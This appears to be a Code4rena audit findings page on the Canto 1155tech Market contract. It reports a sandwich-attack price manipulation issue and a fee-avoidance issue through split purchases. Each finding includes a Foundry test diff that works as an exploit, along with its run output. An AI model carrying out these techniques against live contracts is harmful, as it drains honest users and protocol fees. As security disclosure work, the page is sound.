Canto Application Specific Dollars and Bonding Curves for 1155s - jasonxiale's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150-L169 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174-L189 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L132-L136 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L141-L145

Vulnerability details

Impact

Function Market.getBuyPrice and Market.getSellPrice are using spot price, and the price is determined by shareData[_id].tokenCount, at the same time, shareData[_id].tokenCount can be manipulated. So the price can be manipulated. By abusing the price, the buy/sell tx can be sandwiched.

Proof of Concept

I will take Market.buy as an example: In Market.buy, Market.getBuyPrice is called to calculate the price and fee. While in Market.getBuyPrice, the price the determined by shareData[_id].tokenCount and amount.

    function getBuyPrice(uint256 _id, uint256 _amount) public view returns (uint256 price, uint256 fee) {
        // If id does not exist, this will return address(0), causing a revert in the next line
        address bondingCurve = shareData[_id].bondingCurve;
        (price, fee) = IBondingCurve(bondingCurve).getPriceAndFee(shareData[_id].tokenCount + 1, _amount);
    }

Based on LinearBondingCurve.getPriceAndFee, the price is linearly increased.

    function getPriceAndFee(uint256 shareCount, uint256 amount)
        external
        view
        override
        returns (uint256 price, uint256 fee)
    {
        for (uint256 i = shareCount; i < shareCount + amount; i++) {
            uint256 tokenPrice = priceIncrease * i;
            price += tokenPrice;
            fee += (getFee(i) * tokenPrice) / 1e18;
        }
    }

So it means the larger shareData[_id].tokenCount, the more expensive To exploit the issue

1. Alice(the attacker) monitor the mempool for buy/sell tx
2. Chris(the honest user) send a buy tx with a large amount of token to buy.
3. Alice find Chris's tx, and find out it's profitable for sandwich attack. She'll buy a large amount of token before Chris's tx, and sell the token after Chris's tx.
4. After Alice's buy tx, the price will be increased, and after Chris's buy tx, the price will be increased again. When Alice sell hers tokens, she'll get profit

I make a little POC as follow:

diff --git a/1155tech-contracts/src/test/Market.t.sol b/1155tech-contracts/src/test/Market.t.sol
index 94a4c02..a65b41f 100644
--- a/1155tech-contracts/src/test/Market.t.sol
+++ b/1155tech-contracts/src/test/Market.t.sol
@@ -22,13 +22,15 @@ contract MarketTest is Test {
     uint256 constant LINEAR_INCREASE = 1e18 / 1000;
     address bob;
     address alice;
+    address chris;

     function setUp() public {
         bondingCurve = new LinearBondingCurve(LINEAR_INCREASE);
-        token = new MockERC20("Mock Token", "MTK", 1e18);
+        token = new MockERC20("Mock Token", "MTK", type(uint).max);
         market = new Market("http://uri.xyz", address(token));
-        bob = address(1);
+        bob   = address(1);
         alice = address(2);
+        chris = address(3);
     }

     function testChangeBondingCurveAllowed() public {
@@ -144,4 +146,176 @@ contract MarketTest is Test {
     ) external pure returns (bytes4) {
         return this.onERC1155BatchReceived.selector;
     }
+
+
+    function testManuBuyNormal() public {
+        uint cnt = 2000;
+        testCreateNewShare();
+        token.transfer(address(chris), 10000e18);
+        token.transfer(address(alice), 10000e18);
+
+        vm.startPrank(chris);
+        token.approve(address(market), type(uint).max);
+        market.buy(1, 100);
+        console.log("token.balanceOf(chris)", token.balanceOf(address(chris)));
+        vm.stopPrank();
+
+    }
+    function testManuBuyFrontRun() public {
+        uint cnt = 2000;
+        testCreateNewShare();
+        token.transfer(address(chris), 10000e18);
+        token.transfer(address(alice), 10000e18);
+
+        // alice front-run Chris's tx
+        vm.startPrank(alice);
+        token.approve(address(market), type(uint).max);
+        market.buy(1, cnt);
+        console.log("token.balanceOf(alice)", token.balanceOf(address(alice)));
+        vm.stopPrank();
+
+        vm.startPrank(chris);
+        token.approve(address(market), type(uint).max);
+        market.buy(1, 100);
+        console.log("token.balanceOf(chris)", token.balanceOf(address(chris)));
+        vm.stopPrank();
+
+        // alice back-run Chris's tx
+        vm.startPrank(alice);
+        token.approve(address(market), type(uint).max);
+        market.sell(1, cnt);
+        console.log("token.balanceOf(alice)", token.balanceOf(address(alice)));
+        vm.stopPrank();
+    }
+

Run the above code by forge test --mc MarketTest --mt testManuBuy -vv, as we can see from the result:

1. Alice the the attacker, and Chris is the honest user.
2. In testManuBuyNormal, after the tx, Chris's balance is 9994854866666666666697
3. In testManuBuyFrontRun, after the tx, Chris's balance is 9792999429090909091035 which is less than testManuBuyNormal's balance,
4. Alice gets more token as 10164203566860523604103 as profit

# forge test --mc MarketTest --mt testManuBuy -vv
[⠢] Compiling...
No files changed, compilation skipped

Running 2 tests for src/test/Market.t.sol:MarketTest
[PASS] testManuBuyFrontRun() (gas: 4263638)
Logs:
  token.balanceOf(alice) 7978137733015873016288
  token.balanceOf(chris) 9792999429090909091035
  token.balanceOf(alice) 10164203566860523604103

[PASS] testManuBuyNormal() (gas: 497787)
Logs:
  token.balanceOf(chris) 9994854866666666666697

Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 80.75ms
 
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

VIM

Recommended Mitigation Steps

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L280-L296

Vulnerability details

Impact

Based on current implementation, if the first buyer buys a large amount of token from a market, and he split his tx into two tx, the system will receive less platformFee.

Proof of Concept

While the buyer calls Market.buy to buy some tokens, the fee is split among holder, creator and platform. According to Market._splitFees, if shareData[_id].tokensInCirculation is 0, the holder's fee will be attributed to platformFee

    function _splitFees(
        uint256 _id,
        uint256 _fee,
        uint256 _tokenCount
    ) internal {
        uint256 shareHolderFee = (_fee * HOLDER_CUT_BPS) / 10_000;
        uint256 shareCreatorFee = (_fee * CREATOR_CUT_BPS) / 10_000;
        uint256 platformFee = _fee - shareHolderFee - shareCreatorFee;
        shareData[_id].shareCreatorPool += shareCreatorFee;
        if (_tokenCount > 0) {
            shareData[_id].shareHolderRewardsPerTokenScaled += (shareHolderFee * 1e18) / _tokenCount;
        } else { <<< ------ Here if shareData[_id].tokensInCirculation is 0, the holder's fee will be attributed to platformFee
            // If there are no tokens in circulation, the fee goes to the platform
            platformFee += shareHolderFee;
        }
        platformPool += platformFee;
    }

To make the the system receive less tokens, the buyer can split his large amount token-buying into two tx. In the first tx, he will buy 1 token, and in the second tx, he'll buy the result token. In such way, the system will receive less platformFee

POC as following:

diff --git a/1155tech-contracts/src/test/Market.t.sol b/1155tech-contracts/src/test/Market.t.sol
index 94a4c02..a952a61 100644
--- a/1155tech-contracts/src/test/Market.t.sol
+++ b/1155tech-contracts/src/test/Market.t.sol
@@ -25,7 +25,7 @@ contract MarketTest is Test {
 
     function setUp() public {
         bondingCurve = new LinearBondingCurve(LINEAR_INCREASE);
-        token = new MockERC20("Mock Token", "MTK", 1e18);
+        token = new MockERC20("Mock Token", "MTK", 5000e18);
         market = new Market("http://uri.xyz", address(token));
         bob = address(1);
         alice = address(2);
@@ -144,4 +144,19 @@ contract MarketTest is Test {
     ) external pure returns (bytes4) {
         return this.onERC1155BatchReceived.selector;
     }
+
+    function testForOneBuy() public {
+        testCreateNewShare();
+        token.approve(address(market), 5000e18);
+        market.buy(1, 1000);
+        console.log("platformPool    : ", market.platformPool());
+    }
+
+    function testForMultipleBuy() public {
+        testCreateNewShare();
+        token.approve(address(market), 5000e18);
+        market.buy(1, 1);
+        market.buy(1, 999);
+        console.log("platformPool    : ", market.platformPool());
+    }
 }

Run the POC by forge test --mc MarketTest --mt testFor -vv

forge test --mc MarketTest --mt testFor -vv
[⠢] Compiling...
No files changed, compilation skipped

Running 2 tests for src/test/Market.t.sol:MarketTest
[PASS] testForMultipleBuy() (gas: 1318931)
Logs:
  platformPool    :  1982710619047618912

[PASS] testForOneBuy() (gas: 1262546)
Logs:
  platformPool    :  3907041190476190208

As we can see from above, by splitting the tx into two tx, testForMultipleBuy will make the system receive less fee

Tools Used

VIM

Recommended Mitigation Steps

Assessed type

Other